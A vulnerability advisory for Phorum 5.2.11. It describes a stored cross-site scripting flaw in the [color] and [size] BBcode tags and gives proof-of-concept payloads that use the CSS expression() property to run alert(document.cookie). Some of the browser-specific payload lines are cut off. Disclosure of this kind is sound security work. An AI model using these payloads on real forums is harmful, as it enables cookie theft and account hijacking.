Phorum : Permanent Cross-Site Scripting Vulnerabilities

//----- Advisory

Program          : Phorum 5.2.11
Homepage         :
Discovery        : 2009/07/16
Author Contacted : 2009/07/17
Found by         : crashfr at sysdream dot com
This Advisory    : crashfr at sysdream dot com

//----- Application description

Started in 1998, Phorum was the original PHP and MySQL based Open Source
forum software. Phorums developers pride themselves on creating message
board software that is designed to meet different needs of different web
sites while not sacrificing performance or features.

//----- Description of vulnerability

Phorums filtering engine insufficiently filters some BBcode arguments.
Using the bbcode tags [color] and [size] it is possible to execute Javascript
using expression CSS property.

//----- Proof Of Concept

When the user post the following bbcode :

[color=#000000;xss:expression(alert(document.cookie));]Sysdream Testing XSS[/color]
[size=20px;xss:expression(alert(document.cookie));]Sysdream Testing XSS[/size]

The application convert it into the follow HTML code :

<span style="color:#000000;xss:expression(alert(document.cookie));">Sysdream Testing XSS</span>
<span style="font-size: 20px;xss:expression(alert(document.cookie));">Sysdream Testing XSS</span>

For IE6 you can use this POC:

Testing IE6[/color]

For IE7:
[color=#000000;xss:expression(alert(Sysdream_IE7_Alert));]Sysdream Testing 

Obviously, the POC doesnt work in IE8 and Firefox.

But, but , but...
Uploading htc (for IE8) or xml (for FF) file on the phorum using the "My 
Files" function in "Control Center", you can use :

POC for FF:
Testing FF[/color]

POC for IE8:
Testing FF[/color]

//----- Impact

This vulnerability can be used to modify the phorum display, to gather the victims cookie, etc.

//----- Solution

Upgrade Phorum to 5.2.12

//----- Credits

crashfr at sysdream dot com

//----- Greetings